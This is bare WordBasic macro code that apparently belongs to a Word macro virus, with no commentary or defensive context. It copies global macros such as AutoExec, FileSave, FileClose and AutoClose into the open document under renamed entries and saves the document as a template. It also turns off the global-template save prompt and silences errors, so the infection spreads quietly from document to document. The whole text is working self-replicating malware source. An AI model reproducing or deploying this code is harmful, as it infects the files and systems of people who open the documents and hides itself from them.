Sub MAIN
On Error Goto VayaConDios
FileSave
ThisFile$ = FileName$()
ThisFileMacro$ = ThisFile$ + ":twAE"
MacroCopy "Global:AutoExec", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":twFSA"
MacroCopy "Global:FileSaveAs", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":twEX"
MacroCopy "Global:AutoExit", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":twFS"
MacroCopy "Global:FileSave", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":FileClose"
MacroCopy "Global:twFC", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":FileExit"
MacroCopy "Global:twFE", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":FileQuit"
MacroCopy "Global:twFQ", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":AutoClose"
MacroCopy "Global:twAC", ThisFileMacro$
FileSaveAs .Format = 1

DisableAutoMacros(0)
ToolsOptionsSave  .GlobalDotPrompt = 0
VayaConDios:

End Sub
